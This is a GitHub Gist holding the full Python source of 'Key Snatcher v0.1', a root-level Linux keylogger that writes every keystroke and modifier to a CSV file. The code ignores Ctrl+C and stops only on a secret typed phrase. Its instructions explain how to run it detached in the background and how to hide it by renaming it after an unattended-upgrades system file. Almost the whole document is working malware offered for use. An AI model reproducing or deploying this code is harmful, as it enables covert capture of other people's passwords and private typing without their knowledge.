Skip to content

Instantly share code, notes, and snippets.

@av1d
Created December 31, 2023 20:52
Show Gist options
  • Save av1d/5d18bb85e51ca792b6dfe1b37cfe1797 to your computer and use it in GitHub Desktop.
Save av1d/5d18bb85e51ca792b6dfe1b37cfe1797 to your computer and use it in GitHub Desktop.
Key Snatcher v0.1 - a Linux keylogger which records all keystrokes and macros
import csv
import keyboard
import os
import signal
import sys
from datetime import datetime
"""
Key Snatcher v0.1 - a Linux keylogger - by av1d
Logs all keystrokes in the background, outputs to CSV.
Example output (formatted for this file to be legible):
time, timestamp, pressed, type, code, keypad, modifiers
2023-12-31 15:33:59, 1704054839.910497, t, down, 20, False, ()
2023-12-31 15:34:00, 1704054840.241036, e, down, 18, False, ()
2023-12-31 15:34:00, 1704054840.468516, s, down, 31, False, ()
2023-12-31 15:34:00, 1704054840.641906, t, down, 20, False, ()
It logs a human-readable timestamp, *nix timestamp, the key pressed, the type,
the key code, whether it's on the nueric keypad or not, and finally modifiers.
If you don't know, a modifier is for example SHIFT+s to make capital S.
It will log CTRL, ALT and so on as modifiers, or individually if they're the only
keys pressed. It will also log custom keys / macro keys like on a media keyboard.
You can set a 'password' which makes the process exit once it's typed.
INSTRUCTIONS:
Install 'keyboard' module as root and run this script as root.
Run the script then detach from the process:
nohup sudo python3 keysnatcher.py &
or whatever your root equivalent is.
You can exit the terminal and it will run as a background process.
Or, simply just run the script in a terminal:
python3 keysnatcher.py
For even better stealth, rename this to something like 'attended-upgrade-shutdown'
with no .py extension and place it in /usr/share/unattended-upgrades/
"""
def initialize_csv(): # prepare CSV file
header = ['time', 'timestamp', 'pressed', 'type', 'code', 'keypad', 'modifiers']
now = datetime.now()
formatted_date_time = now.strftime("%Y%m%d_%H%M%S")
global filename
filename = str(formatted_date_time) + '.csv'
with open(filename, 'w', newline='') as csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerow(header)
def append_csv(new_data):
with open(filename, 'a', newline='') as csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerows([new_data])
def check_for_password():
secret_length = len(secret)
cut_list = last_pressed[-secret_length:] # leave only the last X chars (length of secret)
collapse_list = ''.join(cut_list) # collapse to string
if collapse_list == secret:
kill_process()
def kill_process():
keyboard.unhook_all()
pid = os.getpid()
os.kill(pid, signal.SIGTERM)
def handle_signal(signum, frame):
print("Received interrupt signal. Resuming...")
def on_key_press(event):
print(f"The key pressed is: {event.name}")
print(f"The key value is: {event.event_type} - {event.scan_code}")
print(f"Timestamp: {event.time}")
print(f"Is keypad key: {event.is_keypad}")
print(f"Modifiers: {event.modifiers}")
now = datetime.now()
formatted_time = now.strftime("%Y-%m-%d %H:%M:%S") # readable timestamp
time_pressed = event.time # unix timestamp
key_pressed = event.name # example '[' or 'a'
key_type = event.event_type # the name, ex: 'down'
key_code = event.scan_code # example '91'
is_keypad = event.is_keypad # numpad or not
modifiers = event.modifiers # alt, shift, ctrl (and so on) + key
new_data = [
str(formatted_time),
str(time_pressed),
str(key_pressed),
str(key_type),
str(key_code),
str(is_keypad),
str(modifiers)
]
append_csv(new_data)
last_pressed.append(str(key_pressed))
check_for_password() # see if user entered stop sequence
if not os.geteuid() == 0:
print("Must be run as root.")
sys.exit(1)
secret = 'closesesame' # key sequence to stop recording (case sensitive)
last_pressed = [] # remember the last x keys pressed, used with 'secret'
initialize_csv()
signal.signal(signal.SIGINT, handle_signal)
keyboard.on_press(on_key_press)
while True:
try:
keyboard.wait()
except:
pass
keyboard.unhook_all()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment